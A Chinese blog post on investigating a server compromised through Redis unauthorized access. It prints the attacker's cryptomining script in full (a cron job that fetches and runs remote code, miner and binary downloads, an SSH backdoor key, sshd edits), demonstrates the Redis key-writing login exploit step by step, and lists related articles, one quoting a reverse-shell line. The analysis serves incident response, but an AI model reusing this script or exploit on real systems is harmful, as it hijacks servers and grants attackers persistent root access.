在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因

2 在各种netstat –ntlp  的查看下没有任何异常 在top 下查到了有异常进程还有些异常的这里就截图一个

3 结果果断把进程给kill -9  了  没想到再去ps的时候又来了意思就是会自动启动它

这就让我想到了crond 这个自动任务果不其然 /var/spool/cron/root 这个文件被人做了手脚而且是二进制的声音干脆果断又给删除了,   以为这下没事了结果过了两分钟这个文件又来这个就引起我主要了联想到了是不是有说明守护进程了这样的事情肯定是有守护进程在才   会发生的了,于是我去百度了下 jyam -c x -M stratum+tcp 果不其然确实有这样的攻击,网上说这个攻击是由于redis未授权登陆漏洞引   起导致黑客利用的结果我去redis 控制台登录一看固然有个莫名其妙的key 刚好这个key 就是ssh的key于是断定黑客是从reids的未授权漏   洞登陆进来的(因为便宜服务器防火墙是关闭状态的端口全部开放的)

4 在服务器上我查了自动任务的文件被黑客编译成二进制的源文件代码,所以我无法得知内容。 但是我在crond的日志里面找到了他下    载脚本的链接

5 代码大致如下

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/2 ** * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" >/var/spool/cron/root

# echo "*/2* * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr">> /var/spool/cron/root

echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root

ps auxf | grep-v grep | grep yam || nohup /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr&

if [ ! -f"/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-    rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkB    CbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3tx    L6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX    1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes">> /etc/ssh/sshd_config

echo "RSAAuthentication yes">> /etc/ssh/sshd_config

echo "PubkeyAuthenticationyes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

if [ ! -f"/opt/yam/yam" ]; then

mkdir -p /opt/yam

curl -f -Lhttps://r.chanstring.com/api/download/yam -o /opt/yam/yam

chmod +x /opt/yam/yam

# /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr

fi

if [ ! -f"/opt/gg3lady" ]; then

curl -f -Lhttps://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady

chmod +x /opt/gg3lady

fi

# yam=$(ps auxf| grep yam | grep -v grep | wc -l)

# gg3lady=$(psauxf | grep gg3lady | grep -v grep | wc -l)

# cpu=$(cat/proc/cpuinfo | grep processor | wc -l)

# curlhttps://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname-i`

于是终于找到源头了,下面我们来分析下这个脚本

6 脚本分析

    echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool
    /cron/root   每两分钟来一次这个脚本
 

echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root

    这个脚本我不知道干么的应该是生成这个自动任务文件的守护进程以至于删除自动任务文
    件会自动再来一份  脚本进程死了这个自动任务又会起来
    ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratu
    m+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV
    6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
    这个是挖矿脚本,黑客靠这个连接池去挖btc(比特币)意思就是这个肉鸡已经提供了
        下面这个就是一个免密钥登陆的脚本了

下面这两个是下载文件的脚本跟赋权限

整个脚本的大致就这样

7  处理方法只要把 /var/spool/cron/root 删除  /opt/yam/yam   删除   /opt/gg3lady 删除  .ssh/KHK75NEOiq 删除

把gg3lady  yam     进程结束还有就是sshd_confg 文件还原,把redis入侵的key删除应该就没问题了。但是为了安全起见还是希望

重装服务器,不确保别人 不留其他的漏洞

关于reidis 未授权登陆漏洞

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。  (导致可以执行任何操作)

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

这里我可以演示一遍给大家看看怎么通过redis未授权漏洞直接免密钥进行登陆

攻击过程

(注意我本机是162   要入侵的服务器是161)

1 生成本地服务器私钥跟公钥

2 把公钥写进我们要攻击的服务器的redis一个key里面去 (为什么要把公钥加空格追加到一个文件是因为redis的存储)

3  登陆要攻击的服务器redis控制台,从新定义redis保存数据的路径为configset dir /root/.ssh/(这个是需要知道linux下面ssh 面密钥登陆的key默认的存放才能设定的默认情况下是/roo/.ssh一般情况下很多管理员都不会去更改),在把reids的dbfilename定于成 linux 下面ssh面密钥登陆的文件名就好了configset dbfilename "authorized_keys"(默认文件名是authorized_keys 这个广大linux管理员都这个这个所以这个入侵还是要点linux功底的),最后保存 save

4 激动人心的时刻到了直接ssh 登陆192.168.8.161  无需要密码就能登陆了

到这里我们就可以完全控制别人的服务器了,你先怎么玩就怎么玩了(仅供学习研究)

redis 未授权漏洞利用直接登录服务器的更多相关文章

  1. Redis未授权漏洞利用方式

    总结一下redis未授权拿shell: redis-cli -h ip >info 查看系统类型 Windows: 1.找网站绝对路径 2.config set dir 绝对路径根路径 conf ...

  2. Hadoop Yarn REST API未授权漏洞利用

    Hadoop Yarn REST API未授权漏洞利用 Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一 ...

  3. Redis未授权访问利用

    转载:https://www.cnblogs.com/-qing-/p/10978912.html 0x01 kali安装redis 下载 wget http://download.redis.io/ ...

  4. Hadoop Yarn REST API未授权漏洞利用挖矿分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 一.背景情况 5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未 ...

  5. Redis未授权漏洞检测工具

    Redis未授权检测小工具 #!/usr/bin/python3 # -*- coding: utf-8 -*- """ @Author: r0cky @Time: 20 ...

  6. redis未授权漏洞和主从复制rce漏洞利用

    未授权无需认证访问内部数据库. 利用计划任务反弹shell redis-cli -h 192.168.2.6 set x "\n* * * * * bash -i >& /de ...

  7. 服务器由于redis未授权漏洞被攻击

    昨天阿里云拦截到了一次异常登陆,改了密码后就没有管他, 今天阿里云给我发消息说我的服务器可能被黑客利用,存在恶意发包行为....... 不过我不打算只是单纯的重置系统,经过一系列的查找原因后,发现被攻 ...

  8. 利用redis未授权访问漏洞(windows版)

    0x00 原理   首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...

  9. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

随机推荐

  1. Struts2中的ActionContext

    ActionContext(Action上下文) ActionContext介绍 通过上面用户注册例子的学习,我们知道Xwork与Web无关性,我们的Action不用去依赖于任何Web容器,不用和那些 ...

  2. DOM 对象之 document.all

    1.document.all是页面内所有元素的一个集合: 2.经测试在chrome,safari,opera,ie中均返回一个HTMLALLCollection[xx]对象,在FF中返回是一个unde ...

  3. Array类型(二)

    1.concat()方法可以基于当前数组中的所有项创建一个新数组. 先创建当前数组的一个副本,然后将接收到的参数添加到这个副本的末尾,最后返回新构建的数组. var colors = ["r ...

  4. web项目配置webAppRootKey 获得根目录 .

    log4j和web.xml配置webAppRootKey 的问题 1 在web.xml配置 <context-param>  <param-name>webAppRootKey ...

  5. dedecms 财付通接口

    用织梦做了个旅游网站,网址:http://www.redtourism.cn/ 客户要求财付通支付,上网找了下 不是要买就是要钱,只有自己写了. 代码: <?phpif(!defined('DE ...

  6. php 中const和 define的区别

    在php中定义常量时,可用到const与define这两种方法,那他们到底有什么区别呢? 1.const用于类成员变量的定义,一经定义,不可修改.define不可用于类成员变量的定义,可用于全局常量. ...

  7. service2008 word 导入导出 配置问题

    除了配置 com组件权限 64位系统还要加 下面的文件 C:\Windows\SysWOW64\config\systemprofile\Desktop C:\Windows\Temp 也要加权限

  8. STM32工程中出现 error: A1163E: Unknown opcode R0, , expecting opcode or Macro错误分析及处理

    最近测试以前的一个程序,一般都是打开以前写的程序修改参数直接测试 但是发现以前的编译后出现错误. 奇怪了,以前的出现都是调试好了的啊,一般都是没有错误的,迅速找问题 跳转到错误代码行 代码区域 Hea ...

  9. Qt之窗口动画(下坠、抖动、透明度)(还有好多相关帖子)

    简述 前面几节中我们介绍了关于动画的基本使用,有属性动画.串行动画组.并行动画组.这节我们来实现一些特效,让交互更顺畅. 简述 示例 效果 源码 更多参考 示例 下面,我们以geometry.pos. ...

  10. C# sql Helper

    using System; using System.Collections; using System.Collections.Generic; using System.Configuration ...